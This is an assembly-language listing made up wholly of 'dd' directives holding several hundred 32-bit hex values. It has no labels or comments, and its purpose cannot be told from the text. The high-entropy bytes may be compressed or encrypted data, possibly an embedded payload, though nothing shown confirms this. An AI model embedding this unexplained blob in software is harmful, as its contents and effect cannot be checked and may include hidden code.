dd 824D9351h, 5986A409h, 78B420FCh, 17EC20h, 9B659AFFh
dd 7FD3877Ah, 0E8338D00h, 89C059F3h, 86DE1777h, 0AF1F019Eh
dd 0E0EE7330h, 1B012074h, 6B678A81h, 7DD56AABh, 0D26EDA8Fh
dd 871FE5h, 0CDA727BCh, 352E3BB2h, 8C000CE1h, 0BBD7C04Fh
dd 65CF016Bh, 1E1B4C0Eh, 0A7F42074h, 0A658EF00h, 92492C29h
dd 9AFCEBCBh, 88910463h, 81BDF156h, 0D0E9F94Ch, 4B0B8BF4h
dd 80583EE7h, 0A8C0F544h, 0BF650275h, 3BEEEF55h, 60FCFF61h
dd 7C01A496h, 0C11E375Bh, 0A09CFA6Bh, 87998F53h, 4CB5D420h
dd 700020A4h, 2B0B6F84h, 14387EB8h, 0AC6E49C6h, 1C519602h
dd 0A0838A05h, 0ACD0C8F7h, 3900D618h, 902C64E0h, 0B3EBE9h
dd 2446BF03h, 0EF999A08h, 4A72100h, 180CD04Dh, 1A8803F8h
dd 15F56F50h, 7BA8E8BBh, 583E4246h, 9DEF9D0Ah, 52D40200h
dd 7FD16929h, 0E0C100C9h, 41C04CACh, 440E3EAEh, 4BAA4247h
dd 60100F27h, 5A98066Fh, 0C97500D5h, 0A7A38F4Ch, 2A054371h
dd 0FA9C915Dh, 0E16BA092h, 3A00CDA4h, 9E00D674h, 8441B533h
dd 0C0E21946h, 80BCC729h, 264813C5h, 5222098h, 192553B1h
dd 0E72090DAh, 1007EC6Bh, 5CEA9E6Ah, 98055865h, 0DAC01180h
dd 73B79B9h, 735FD6BBh, 0EA669026h, 75029F15h, 47DCCC0Eh
dd 0D04CCB65h, 814DE6h, 0D72F72Dh, 740285BAh, 6C9C3E76h
dd 4743991Ch, 0F1BBA2ABh, 13DC917Bh, 0CF63001Eh, 0E0E46484h
dd 3C16CC3Ah, 5B0AE22Ah, 0E61DD880h, 6775900Fh, 4AC02CE1h
dd 2CF37317h, 80CC3915h, 0EF7A1ED4h, 14704C99h, 0E56AA109h
dd 3180C0FBh, 7C7F24B7h, 2895051Bh, 0BEA90049h, 226CA36Dh
dd 0E827A001h, 182E0B4Ch, 0E5AAA050h, 31CF0052h, 0CB39DD50h
dd 0A67769FCh, 32724700h, 9C2BAED4h, 159D3AD9h, 0B8FF12h
dd 0B95D5788h, 0A700EE04h, 4F85396Bh, 24E66CACh, 1A4F5D3h
dd 4CBCE7A1h, 38C47409h, 660AA5F6h, 0ECB72FF9h, 6BAB6500h
dd 101293Bh, 7EA890C9h, 0C0F6075Bh, 0B00088D1h, 0F70A5472h
dd 0EEBEC6F2h, 25C00D2h, 82DB4EFFh, 0B09B537Eh, 6E56B500h
dd 62472D5Eh, 7939E1EAh, 44F0E0D0h, 8330EF01h, 0A43FA998h
dd 302809F5h, 2F71117h, 4254E3D5h, 0EB261880h, 384083E9h
dd 28D0F985h, 0CAE2A4h, 480FAB0Bh, 0E17403CFh, 77BD1600h
dd 0AC0679A3h, 0D7BE008Fh, 0DAFDF02Dh, 5677B8DFh, 0FA150103h
dd 0FB925849h, 546ACFE0h, 0DE852400h, 0A804A059h, 9E63D98h
dd 0ED7E88Fh, 28547441h, 983BCC90h, 0E8BD253Eh, 1EF0DC22h
dd 8CFD7F40h, 4A29DA00h, 16C4B3CAh, 0DD6F1218h, 6C12B8h
dd 5FC39A76h, 410ED803h, 37CD451Fh, 798038D7h, 4CA7E0F7h
dd 300E9473h, 0BB9F0BA9h, 29349519h, 0E9CBF8A2h, 4F12E1B0h
dd 28B03557h, 0F7A1C012h, 8BE4112Eh, 7A89952h, 66870DEFh
dd 98C670C0h, 0E79601B2h, 0E05F8F74h, 744E2E50h, 84E4898Ah
dd 0FCAD6ABEh, 3CC82525h, 5F0BAEEh, 0BCF0AD15h, 0D57200A0h
dd 11A1FE4Ah, 9CA20E3Fh, 9227BA77h, 9ABA0F0h, 0D3F680E0h
dd 445D5100h, 0A67B0F28h, 90A000F7h, 5A401608h, 437C2648h
dd 98FD9A0Fh, 74D3C0C0h, 0ECDAF31Dh, 688625E1h, 4230CBFh
dd 0A63D80FFh, 0A9250120h, 8C1E9D4Bh, 0BE392F11h, 60459044h
dd 8CA05C44h, 0AA214427h, 5A8F14A0h, 6F08F189h, 84862444h
dd 29C8FC90h, 78FB47C5h, 5C847290h, 0B919445Dh, 48391D44h
dd 530D426Eh, 5E212D24h, 105A123Ch, 1890ED6h, 31441B08h
dd 4F228436h, 1155420Ch, 2221356Ch, 90065308h, 38C88469h
dd 6F421E48h, 213D2407h, 0A124A4Eh, 89093210h, 44940851h
dd 0C988E64Ch, 0A36603D9h, 2DE1444Dh, 1C34A9FCh, 0ED40863Bh
dd 0CD0FFFAAh, 9CB97489h, 932F074Ch, 0AA8E259h, 81253860h
dd 88984B01h, 6E30A702h, 83B5E8h, 0EA69084Eh, 0F6067647h
dd 28078BCh, 6BE94035h, 0EA8EC82h, 9C980368h, 8E219E40h
dd 450E8AB8h, 0C04FC448h, 0B4BC25ECh, 9311C070h, 43BAF07Dh
dd 58005C73h, 84994ABBh, 7C56089h, 0D1A4A734h, 9E1619Ch
dd 0BB6C34E4h, 0BF7AB51Eh, 6E9AB6C2h, 50EFE096h, 919003Fh
dd 4D30A813h, 3ED962BBh, 90E80611h, 9D8F0BCh, 0CA178F65h
dd 0E4EC7825h, 0D003748h, 0BBA796DBh, 113DD09h, 7E685B80h
dd 0D4C24759h, 0F4ECA4A3h, 54FB2B00h, 0D773FC2Fh, 0CF8B00ADh
dd 204E323Fh, 0C003A80h, 0F2E1EF66h, 916399h, 67C91E73h
dd 9A9F5010h, 0ED00A178h, 8B0AFC18h, 1CD15F24h, 8002CD14h
dd 1F32BAD5h, 0C100E6B2h, 0F40578BEh, 92976Eh, 0B8429623h
dd 6ED2F62h, 5098C900h, 0DA12CE05h, 0B2DE00DDh, 2608FC70h
dd 3301C366h, 486EFE20h, 9C701B49h, 3C7C000Dh, 93FB681Eh
dd 0F20F65DFh, 0EFCC8C71h, 87B4A36Eh, 1C09850h, 0B1B00BEh
dd 2A349C94h, 850B62E8h, 19097Fh, 0CE91FE20h, 3C7700FAh
dd 901066A8h, 9200F225h, 155B6EF3h, 1247C762h, 0D0815178h
dd 91DAD6E0h, 527C7500h, 0C8DD281Bh, 3FE00483h, 80315FC9h
dd 0F8BBED38h, 74356800h, 0F7A3E220h, 0DCC500EBh, 2F8647ECh
dd 544A92F6h, 0BA146C00h, 1C564DD4h, 40CB6D28h, 0C5774010h
dd 0E8041A3Bh, 0D153135h, 75C00490h, 0BE202448h, 5E540140h
dd 20F037DCh, 6C00F1DBh, 0C7185F71h, 189707FBh, 381483E7h
dd 3A12275Ah, 2044B37Ah, 648ACEDh, 7DF63A40h, 336C25E1h
dd 3D071060h, 7A63A907h, 0CD20A25Ah, 3ED125D9h, 0AC00C648h
dd 0B3D709CCh, 0BE909B95h, 33851918h, 136170h, 0A7D9CC7Bh
dd 0B926CDC2h, 0B4535000h, 0A3BCD64Ah, 0F22E0061h, 9E39C079h
dd 0BE079C08h, 0EBA9580Ah, 611D8ED0h, 5170DEh, 3E608870h
dd 8531364Ah, 8A22DF07h, 8CF071C5h, 2691E6h, 423A4FB1h
dd 0EAFB5B73h, 98E90D00h, 0CB9396C6h, 0FFB1378Bh, 8D63A1F0h
dd 14E63077h, 80B0F50Eh, 6384088h, 0C657EDh, 3F8E62A0h
dd 0C4685CBEh, 0D9A70C0Fh, 0FD384044h, 82E57Ah, 457FE6B1h
dd 0BA75D4B2h, 0F80FB00h, 0DE84A596h, 0DA010334h, 0C343D024h
dd 0AEED4C88h, 8010272Fh, 0FBDD9C44h, 880E979Eh, 0CF8DAA60h
dd 3B14E6AEh, 3C889CCh, 793D950Dh, 1429D8E1h, 4EB04Ch
dd 0A6D05AD5h, 5DB78E51h, 0B139D2F2h, 77CC0742h, 0B104069h
dd 39B81598h, 98504937h, 11C7047Ch, 802F3C22h, 510FE010h
dd 0B76A0603h, 0E88258A7h, 36290Dh, 261DFED3h, 17F11DDh
dd 6FEDC61Eh, 87FC3C00h, 0A3F618h, 0B6369507h, 14DC6A2Ah
dd 0A9F06E71h, 0FF618400h, 0AC08C0D9h, 54BB007Eh, 487D08Bh
dd 960F1BA6h, 0FE36F184h, 0C78A3F80h, 71FBCB94h, 2CB8EE4Fh
dd 3B6C043h, 2CBDED78h, 7FB65087h, 0F200F4DDh, 0FA03710Fh
dd 0E479B04Dh, 0F59D0056h, 77F97BDAh, 5425AC01h, 0E1C603Ah
dd 0D0210053h, 820406ECh, 0CD586229h, 49CC002Dh, 0FB6C3718h
dd 0F2D302B3h, 5019ED3Fh, 0CAE3CC60h, 71B68900h, 0EE410F9Bh
dd 0A83A00C1h, 16AA6A42h, 2400C5D1h, 0F6DE67AEh, 9DAF5Bh
dd 0CE22B884h, 0A0A8380Ah, 0DD80ECBCh, 7DB632ADh, 6AB80944h
dd 0D4B0D325h, 0A80097DEh
dd 0AEC9261Ch, 9021C850h, 0DD84009Ch, 9FB4D8A7h, 2D0AE079h
dd 0DC6175D3h, 0D6F50300h, 3899829Bh, 1E00ABF8h, 0A7AC58FEh
dd 0C500AF67h, 7031A4F9h, 28088126h, 9C95EC4Dh, 2BAB034Ch
dd 52D003E7h, 64F277D5h, 10D35700h, 1C479051h, 0BD070033h
dd 0C2FD494Ah, 3AB0F865h, 64F9BA0Fh, 1EDF80C0h, 6D10D4h
dd 0D9ABCF72h, 197E95ADh, 0E3286900h, 74A101B4h, 98EF70F3h
dd 80406049h, 0DF27CE2Eh, 82DCA83Bh, 0A2C39E17h, 23304063h
dd 6AA100AAh, 4B6DF7CAh, 8F704919h, 416C2800h, 0EB9F1BB6h
dd 0C1120E0Eh, 4A6E1059h, 0B2407C20h, 0E9007151h, 0CC3ED733h
dd 8EAC14h, 9B7A9ABEh, 5E2F90F7h, 6700D97Eh, 3CD39F40h
dd 1C636E99h, 79AC82Ch, 801F41B5h, 3B7BD29h, 1DACC4Ch
dd 0E1B4579Dh, 4874C3B6h, 31E51350h, 565480D3h, 0A1E2835Eh
dd 27787374h, 30AB3Fh, 0FB2A0A7Eh, 1EE686DEh, 8A4026FFh
dd 13EC1F2Dh, 91CC0FC2h, 72443421h, 0BB19803Ah, 84A4AB6Ah
dd 4F7F3DAEh, 0BD41A80h, 0A5D0103Ch, 0BE875600h, 0C4522311h
dd 21E000B4h, 945ACF28h, 8A033C96h, 5DDEF83h, 40FFBF64h
dd 41CF6EAh, 0F17241h, 9E2D30A3h, 1A62C06h, 38ED5B26h
dd 0DC1AF080h, 26C6FE98h, 566141h, 77E9729h, 5501AFFBh
dd 0CF16717h, 21C4E5D1h, 269F613h, 50F3C9F0h, 6840B7E8h
dd 640E2A6Dh, 0C05424A5h, 3206EB2Eh, 367903C1h, 83F17EF5h
dd 563ECDB0h, 952E8B02h, 0C059DCFCh, 9189648h, 0A9B0E768h
dd 0C46E6580h, 3B5D1BAh, 0D8622BE8h, 773B90Eh, 9367BFAh
dd 828AD263h, 1E1976C0h, 4FC38D00h, 0F7143F26h, 0A0CC0C55h
dd 0D038E66Ah, 0C0003879h, 63A5F058h, 90882EFAh, 0DD6200C8h
dd 519FBC0Ah, 0A20F24E7h, 40990579h, 434F3DAEh, 0F2330F94h
dd 9DE2C6F7h, 6083C01Dh, 90F751C4h, 44E1B3EDh, 58369F00h
dd 1D1F003h, 0F42C0181h, 1A990D54h, 0D563704Ah, 636D4C00h
dd 38470680h, 73610032h, 95BF2EB3h, 4E05BE9Ah, 0A0A9108Ah
dd 70B7D0C0h, 99E013h, 7D60E82Bh, 0F8EC7A03h, 9C05CA13h
dd 5D2AAE00h, 4AD6DEAh, 0AAB59F3Fh, 72D18023h, 0FEC7165Ch
dd 8C40A066h, 38E67EDh, 90B7674h, 95B8D868h, 0E530B612h
dd 907806D6h, 29231355h, 1164073Ch, 8DFE92A3h, 670058DCh
dd 0F53AB69Eh, 889AEFh, 0C629A74Dh, 5598D5BEh, 1F611101h
dd 0DD82EB13h, 5C104A80h, 0FB179AA6h, 0A8FD0C07h, 71209474h
dd 0B66AB627h, 0B91E0420h, 7E8CC828h, 9759750Ah, 702CFD26h
dd 0CF8C7F01h, 40EA6B28h, 3E96039Ah, 8680A729h, 6F840135h
dd 8101CDCFh, 0FC02720Fh, 0C0C63E9Dh, 144CC7h, 29D80B5Fh
dd 0F5A3DFA5h, 20012CFCh, 0C20A48A0h, 32E8BD05h, 0E6B8048Bh
dd 83A75EA6h, 4000235Dh, 0CDDF78E0h, 1BA28D7Bh, 18EEC625h
dd 2A366FD0h, 6DDAAF03h, 0B086E3B9h, 39FCC929h, 700B11C8h
dd 0D068C333h, 320F4634h, 0C6418818h, 0E22987F2h, 1D500ADh
dd 9780B547h, 0F00469Ah, 0DC4FF848h, 0EE1B75Ah, 0D60C2611h
dd 1B8424E0h, 0B230B0E9h, 7D7216BAh, 0B7D0A093h, 68E51CAEh
dd 0D56B0705h, 599AD092h, 8500CF16h, 11A165CAh, 0FAC34Fh
dd 0B9538D52h, 6AD62ADFh, 7CAC6704h, 7CE8F8CCh, 0C60A4205h
dd 8ED0429Ah, 0C8305804h, 48610077h, 2F85B138h, 0F61E5F6Eh
dd 0B6D751C7h, 0E1A08400h, 5004C534h, 0FEE083h, 22607ABEh
dd 708B3921h, 0A7B4251Eh, 0D0C00712h, 734B5F5h, 0D78A66AFh
dd 81C1235Ch, 23008078h, 4F045B4Dh, 7D7AA3h, 4C587384h
dd 6102058Fh, 0F85AB107h, 0DC905C24h, 0AD6877h, 1B3BC9CAh
dd 6AD5B9EEh, 864A7800h, 0BD26CFDAh, 7AB00034h, 87ADD3EFh
dd 2A0717C7h, 0E5D45643h, 0D90E86B0h, 7B77E4D2h, 1F810041h
dd 6B734A15h, 0F502FA2Bh, 0A84C4835h, 0E0B88F6Eh, 5D1E4F44h
dd 81DC4FFFh, 486910h, 66A9BEh, 0FE208510h, 41A80280h
dd 0C8292100h, 0A2705096h, 3CFB07DEh, 0E2BF64ABh, 4FC1F1C3h
dd 0A4003B40h, 0A15F091Ch, 9278A3h, 0EF641A26h, 0D09024F0h
dd 0C1457B03h, 0F1C9FC3Fh, 0AFE046ACh, 0A6910521h, 7FC231h
dd 0F1A2DBC8h, 0D7F8CE7Ch, 0AD00EC94h, 1911357Eh, 0EFEAE9h
dd 0E79D5D0Fh, 6750A4F2h, 54059900h, 910D1A42h, 0A96F1E36h
dd 0B4B50059h, 0E1BFFF65h, 7C6958h, 552F350Ch, 279B2DFh
dd 6E08DD91h, 8CE0884Fh, 2530075Ch, 356988B0h, 24D600FAh
dd 825649CEh, 0E21C8F64h, 30FB3130h, 70092902h, 0FD70173h
dd 0C5E1BECFh, 0F9C38D2h, 4181B5E7h, 11ABB6CAh, 0B82D4CE8h
dd 1CE0969h, 0A8582577h, 49BC3B04h, 78A8ED47h, 0F7BB1401h
dd 0C896E8BAh, 416932B0h, 0CB9F8050h, 3E79A0h, 0CD1D21BEh
dd 0C95B62D5h, 35BFE501h, 3A2CB35Dh, 42125980h, 8F62DB6Eh
dd 50C24Ch, 5F7E3F76h, 228A990h, 0D56CA161h, 245691A2h
dd 0E8003797h, 9C668FE9h, 0B1023E57h, 5F6C5600h, 0F57B9BA4h
dd 0E326BD12h, 7C9F6900h, 1A7F04h, 0E3CDFF8h, 0F5B4DE19h
dd 9C14D72Eh, 0E6AD4300h, 98515B3Bh, 5F0D0055h, 0A0627C33h
dd 0F60024E0h, 394E97CDh, 0E3F270Ch, 14235834h, 0B54967E0h
dd 400F0F1h, 0E66005BCh, 4852C217h, 3000587Eh, 4E0F22E8h
dd 0CC3A51A6h, 0EB3B770Dh, 0B2F0002Ah, 6F9BC50Ah, 91F23Dh
dd 63E038DAh, 2DE50DD4h, 44E64E09h, 938F83Fh, 4C8AD8D7h
dd 17001C78h, 89DFF62Ch, 0E468C59Eh, 0A12D0EBEh, 920564Dh
dd 0FB8E61B2h, 741FC201h, 0EFC63075h, 0DD0330h, 62E32753h
dd 0D6D2D4ACh, 0DF0254B0h, 0C9414466h, 0AAE9C33Dh, 856640B3h
dd 1F6512A4h, 0CB001D73h, 80E936EBh, 0F458A879h, 0C6B0E600h
dd 0CC4CB2F8h, 1DFCF445h, 8C892B3Ch, 11287A1Bh, 60BA5700h
dd 7B17B6D8h, 2DC107B4h, 0E0E91013h, 844DF067h, 0B87F1D00h
dd 6A69D30h, 1EE5044Ah, 809AD18Eh, 0A01A4520h, 36CD8500h
dd 58AE24D3h, 3EF8EE53h, 3D00DD8Fh, 3768A33Ah, 7972A13h
dd 7F309BF4h, 3942C3h, 8A22E9DBh, 77AF6CB6h, 800083FCh
dd 0CDD7EBBCh, 707FB6Bh, 0EA094ABFh, 0B7A8905Dh, 0F40196CBh
dd 79BD9784h, 0F1E8DAB0h, 716F0074h, 14EB35BAh, 0A1005A40h
dd 0CCC8AF67h, 0B46A627h, 0BA20193Fh, 0C6B19900h, 0B0008441h
dd 1A7E110h, 183252FEh, 41C02898h, 1CB07134h, 0ABB36701h
dd 39B080E8h, 11CF6880h, 0CB4EEF72h, 30F8E700h, 0B3070AD5h
dd 7320E370h, 0F5281681h, 0F82300E6h, 0CC14B15Eh, 3C31B500h
dd 20781B24h, 2E7CD9h, 0D5007F6h, 0BC2B0FE4h, 86F23Dh
dd 0E8653280h, 1E84ECC2h, 0C0EA2DCBh, 5494EBF7h, 0DF26B0E1h
dd 0DE00247Bh, 0AACA26C2h, 0C87D2AADh, 386303D4h, 0D0E76EFFh
dd 0A3DC2100h, 0F9B8CE83h, 3F5800C6h, 0EA5703F0h, 4409FA2Dh
dd 7874A3B0h, 73ED0088h, 0CA2AA156h, 0A7001522h, 894E4F6Bh
dd 0BBB10Dh, 0DF9FD608h, 0B79BBACCh, 80248E27h, 80BCE5B4h
dd 0B23F062h, 20728B3Fh, 0ED221E00h, 0B7003A57h, 59A8F361h
dd 1D5C2CEFh, 0A609762h, 0A61B7Fh, 5D729082h, 0F70096E4h
dd 20DF5F70h, 0E0AC59B7h, 4D150381h, 6D74B455h, 1885BAF0h
dd 4699D104h, 78D04443h, 7F6FF3C1h, 8D48022Ch, 0F916FC13h
dd 0DB848060h, 49243500h, 8CC661DFh, 9F4100B9h, 7FA44499h
dd 5F1EE072h, 0B8C0E61Eh, 8C08580Ah, 237800D5h, 3FB6C9A3h
dd 7100680Dh, 2635D15Fh, 0C049A0h, 27E09BADh, 690E0189h
dd 1B3E0900h, 0A50810FEh
dd 0A36503AAh, 0F4CEEE3Ah, 0A680A2C0h, 60127F00h, 23E6AB4Ch
dd 0EB3400BAh, 0E9A5E0Ah, 30007442h, 25AF8BCh, 540F4F6h
dd 0F357A20Dh, 2C02C0ADh, 103FA073h, 9AC28050h, 1C39AED8h
dd 0F7B23DD1h, 0C585D780h, 90C6AA9Dh, 0BC186FE9h, 8381E4h
dd 108ED31h, 0DC6C84ADh, 0E1124807h, 6681D263h, 42023DAh
dd 10D00064h, 71FC85BBh, 671E083Ch, 0F20186E9h, 0F0E65163h
dd 2684EA6h, 88B1621Bh, 8D03C0CCh, 829E0386h, 3A100EB9h
dd 1A205C94h, 30A82F5Ah, 87162D98h, 341CD1E1h, 761C2180h
dd 39B972B1h, 3B9358E7h, 86370059h, 0F11F3CEDh, 888B3Fh
dd 5C5BA333h, 0BADDEFh, 0AD0E81ACh, 962966FDh, 943C7375h
dd 187613D1h, 8B78F0h, 0FA9FD2B6h, 0D91D606Fh, 0BDE00909h
dd 0E9582074h, 3CD8F8FDh, 5280AF93h, 32B8691Bh, 0E0B82617h
dd 9101657Dh, 0A9DBBA9Eh, 55F89D01h, 4CC7488Eh, 0DFD60A00h
dd 9F6354B8h, 8A4C3Bh, 0DCD58B48h, 6032A1F7h, 1B5028C9h
dd 0F2031C25h, 0EE24B19Bh, 830182A7h, 0D8BED280h, 260EA66Ah
dd 80F0ED51h, 0E21D33EEh, 4500FBB6h, 0FAC1E98Eh, 0FC21840Fh
dd 0B7CF00C2h, 0F9E8AF82h, 444F55DAh, 5810A40Ch, 11226078h
dd 529BB92Eh, 6976330Fh, 0CBB206AFh, 64A60078h, 26D36AA2h
dd 79073F93h, 57301AE3h, 75D0EC57h, 0C46A471h, 8F047308h
dd 540040C8h, 0CDB22C91h, 1D28A80Ah, 306DD653h, 0F7B5D70Ah
dd 59797D01h, 8224615Bh, 58808AD0h, 39004A4Bh, 0F1BD8698h
dd 6D001E51h, 0C4BE9AE2h, 0E47D3E4Dh, 0D7E70E59h, 0C03C7343h
dd 1D629FBh, 6B5CB204h, 0DFA300CFh, 37EA035Dh, 7CF00011h
dd 0E6F7C7BDh, 303DAE8Eh, 42DE8EDAh, 7AB84B32h, 7638005Ch
dd 565CDCD9h, 88094793h, 83CBDAE4h, 0E02D63C1h, 180FEFFh
dd 0F72B5584h, 6029D92Eh, 0A100D48Ch, 0FF344CE3h, 5F02297h
dd 0C21A1E6Dh, 0F9FC00D3h, 86BA0527h, 2558900h, 9660A574h
dd 0DAAF00CAh, 3CD3980Ch, 172561D5h, 69F400E0h, 486E7Dh
dd 0C9FC2A0Dh, 4271A480h, 8D890B00h, 6F33079Ch, 0F1640011h
dd 47E296DDh, 6A1C3AC8h, 7F044FBFh, 58E86C3Fh, 1ECA8201h
dd 0FA78F02Dh, 225DE4E8h, 2B75AD18h, 0B0CB1711h, 3D17B025h
dd 8000ED82h, 0A28DF41Dh, 0F50EAB6Fh, 0C0738818h, 4387B3C5h
dd 34AD02C2h, 59A44E15h, 397683E0h, 4072022Fh, 6FC3BCh
dd 0A967B843h, 17CA3486h, 6D7EC000h, 0F8E115F3h, 4C540E0Ch
dd 82000257h, 396BEA8Dh, 0FD86F501h, 43608EDDh, 5F0006Eh
dd 5E81A296h, 0D8B80470h, 72C8EE11h, 0B59CFC00h, 6858853Bh
dd 0D870ED00h, 0E08097BEh, 828C0006h, 0A3E15FFAh, 0D2025377h
dd 3ABC4BFCh, 107C66h, 28990A73h, 1F29BF6h, 0D7097D70h
dd 0D156458Ch, 89696070h, 4A015459h, 0CDE2B89Dh, 0E0D0F392h
dd 8D14032Ah, 969FB623h, 796611B0h, 61CB1C00h, 19EFDA55h
dd 2874008Fh, 0B69F16B5h, 2FE76454h, 4BA82C00h, 3C9AF256h
dd 551430C2h, 520AD12Fh, 82D471C7h, 57E608FFh, 0CC126091h
dd 4E0003B6h, 3E5D4077h, 1719F90Eh, 411755F7h, 6D78BEACh
dd 2458F24Ch, 0F12C380Eh, 7A3CC015h, 135FFC0h, 0E0A4EA1Ah
dd 104156E1h, 7B96190Fh, 0AB2C1794h, 5AD8814Ch, 0CF9440F2h
dd 0D82F56FCh, 0C48880A7h, 8431E2h, 7D2623B5h, 0D09FE7F0h
dd 5A3E5200h, 0F5753FE6h, 0B5DE016h, 0B06B07D4h, 0B50C0C03h
dd 0FDA29788h, 807CA1DCh, 3EEBBA80h, 4F71C3Bh, 0EA55DFEEh
dd 796CE803h, 0BC28B800h, 36D4844Fh, 70F90015h, 0D96830FFh
dd 239F8C94h, 0C01089F0h, 86122Ch, 9F25E3C4h, 4EA1DF5h
dd 64244CBAh, 76007015h, 0E123F4DFh, 0E581C0B6h, 0F81F3544h
dd 76AB5B0Ah, 80738440h, 601385BCh, 82B619A7h, 95005D3Ch
dd 42F8C643h, 3B9FBCh, 0A1E3669h, 85E2303Dh, 0AB2CD17Ah
dd 90091C5Bh, 0E7EC00CFh, 2264D6h, 7319F4B8h, 80E53FE2h
dd 8F613E28h, 1391303Fh, 9D16D4B0h, 99A77300h, 0A90139h
dd 2CED7C4Fh, 31D882C7h, 467AFA00h, 6D5041CFh, 97C5002Fh
dd 4069E011h, 0B517EB68h, 960EA964h, 8FBF43F0h, 0A111132Ah
dd 40C81F36h, 32C2F320h, 86386B0Ch, 903F0093h, 4E92AB57h
dd 141B055Ch, 8401FDB8h, 40388019h, 0D515ADD4h, 2DB0F673h
dd 3DD8C580h, 0BCE0B8A7h, 751C3860h, 0CA96CD3Ah, 0CA02010h
dd 4172CCAEh, 0D8A19DAFh, 6060D4B1h, 0CA00404Ch, 2FF1F4A7h
dd 0EA2109E2h, 136EE85h, 0A59A05C4h, 7016429Fh, 26973FB8h
dd 1C44D228h, 808AC5E8h, 0E23A9925h, 9005A36h, 3867634Ch
dd 315835h, 2056A21Eh, 0AAF08589h, 0F69EFF3Ah, 5D003DB8h
dd 5F7A02BDh, 0B5BA45h, 91501A8Ah, 0E38B95DAh, 81B8411Eh
dd 0AC980FC0h, 55376Ah, 83238D4h, 0A156B77Bh, 749A48h
dd 1E62525Bh, 5B46E3A9h, 0D24C08Ch, 2D9072BAh, 5D0E0900h
dd 2F161FD3h, 60701E4h, 0D67A90BCh, 68E0EC42h, 0D4E7C578h
dd 0EA3F5395h, 0B84482FEh, 0F61B4CF2h, 0BD6B60D4h, 0D300114Bh
dd 0AFE7CEA6h, 282BBB79h, 2EFC9A06h, 395A44FBh, 0A59B0587h
dd 1F1980A1h, 0BD03C41Eh, 0C7062FACh, 8CEC98CDh, 527400B0h
dd 9F45FC08h, 8804850Fh, 0BC3659B6h, 407068D2h, 49F8DE6Ch
dd 77C8C99h, 0F46D82A3h, 3C803BE6h, 0CE34E572h, 0B160C702h
dd 0D6832F43h, 0A05280D4h, 0DED5854Eh, 51235F0h, 0DCA0547Eh
dd 0A1B95C70h, 0A5230B03h, 86C0D7FAh, 0DE0352A6h, 0AE3B6AAFh
dd 53E80071h, 0DD2D3EA3h, 0F60C1343h, 9197FC61h, 0BCD700C9h
dd 0D41A06DEh, 0A471CD46h, 0B8EB2000h, 33E9DFBh, 4C73004Ah
dd 60EED014h, 0D8008434h, 3F08E6E1h, 52B74FAh, 72B02FDCh
dd 0C378802Dh, 7600BEF6h, 65FAAF95h, 620F93h, 5EEF19E1h
dd 81316420h, 40C5FB00h, 85A46AA3h, 2471DCh, 74396CA0h
dd 26B5065Ah, 56369F03h, 0F7F77F9Dh, 0AC5C2960h, 931E3F33h
dd 2000804Fh, 0C0267FB5h, 0F0C94C7Ah, 5CEF59B4h, 1D48F52Eh
dd 1263531Dh, 0D7DC0098h, 0DBB2500Bh, 0D87FA2B8h, 74F0B67Ch
dd 36006CB1h, 39F796FCh, 749C4C90h, 3043F416h, 0E76FAD5Ch
dd 314D058h, 8DA3DC5Eh, 411EE11h, 211835C2h, 52E8D1EBh
dd 3C61A6B5h, 0DFD83F00h, 14A82E0h, 5748AD6Dh, 6BF6696Eh
dd 469AD401h, 72C27CC5h, 0FDFA0E18h, 0EFC01CDFh, 3ABD9DAh
dd 0B34BE49h, 85BB9D01h, 804098B4h, 6150AED8h, 0E4648005h
dd 69AD8A00h, 5F430753h, 3F233825h, 7E400C74h, 0BF287431h
dd 940D452Eh, 0CCC1851Fh, 439F88F7h, 51ECB761h, 249300D5h
dd 5E6AA866h, 0C72C8A83h, 0C46268ABh, 0A758693Fh, 18C6B880h
dd 30E5F9EEh, 0B7CFF8FFh, 304A044Ch, 21C720C8h, 0E3FC0BEDh
dd 0B8204B6Ch, 3EC11719h, 986D0126h, 51F21880h, 1456503h
dd 0A0E45442h, 0D4D1A330h, 19008926h, 24C27DDh, 786FB1h
dd 28538C92h, 0ECCACC68h, 9083FF2Ch, 1449149h, 0AA0F6E0h
dd 0B88A5845h, 9EB48BA4h, 563B6880h, 0BA00DC07h, 0BD9CBCCAh
dd 159D0A3h, 422B2CA9h, 4076E2C5h, 0AFE0B4B4h, 6D1EAC00h
dd 4D85BA9Ah, 0C0A2492Ch, 99DA1F00h, 453681A7h, 0CF7CEA00h
dd 5AB767C2h, 928B2C59h, 9FB49080h, 20A01D13h, 1CA412B3h
dd 0B8ACD7h, 60DF859Ch, 418E7AAh, 796FF690h, 4274C082h
dd 1248DA8Fh, 815C3824h, 8A156EBFh, 1560A905h, 279200C8h
dd 0D880FB62h, 3C0184D3h, 0E1BEDD2Bh, 0A4241370h, 0F12D0F02h
dd 7E41C929h, 38EF35BCh
dd 84853F54h, 1F17E924h, 0ED2404BBh, 1C6CCF9Ch, 39EFDBBh
dd 0E092CE0Ah, 4143C681h, 986C86ABh, 80779A1Eh, 97C4685Dh
dd 0CF007273h, 1CC3FEB1h, 3455096h, 60B33E53h, 80DCFC8Bh
dd 4DBE9C34h, 0F901A4ECh, 43A737BCh, 0B828A66Eh, 484981DDh
dd 40F6F1B8h, 58B232B8h, 0F42B0E00h, 7CA28ED3h, 0EC431649h
dd 73440A5Bh, 0A01D0A95h, 0D0171780h, 350B9F94h, 3718F27Dh
dd 2A6876BCh, 30C107C5h, 0E0DA63A2h, 8099B32Fh, 0CA36CC00h
dd 0ACDC4C06h, 64C34C19h, 26A9E202h, 0D0818DBAh, 2AB7296Eh
dd 0D618D8h, 6355A3B5h, 0B779990Fh, 4C04FB5Eh, 71496A21h
dd 3F42A454h, 4B8B03DEh, 73ACAAD0h, 0C00014EEh, 5C846D9Ch
dd 50F52B24h, 0D8F85Eh, 6164E402h, 0EBC74CBCh, 0D204A716h
dd 76ADF100h, 356BF5h, 404D11F4h, 0CEC77C5Dh, 386B819h
dd 14308BD8h, 80C04A27h, 0B20A18D4h, 7DEC1E00h, 0D967ADDEh
dd 2F300C6h, 2A6D4D5Eh, 0A013568Ch, 2400AE54h, 11D8BB78h
dd 940800F4h, 64670215h, 0E6E07986h, 0B09D5Ch, 0F8BAEDD7h
dd 0FC59CEh, 90476ED0h, 952527D9h, 7534571Ch, 46019D6h
dd 128C57Eh, 0AD11CE0Eh, 0CCB4687Ch, 3117F6B7h, 28A0FE2Ch
dd 81C600D4h, 0FBCD9B01h, 7200C8EFh, 32655777h, 12C0484h
dd 0C0D3CE7Dh, 347BDD2Fh, 0F912093Ch, 684B319Eh, 0A3A8804Dh
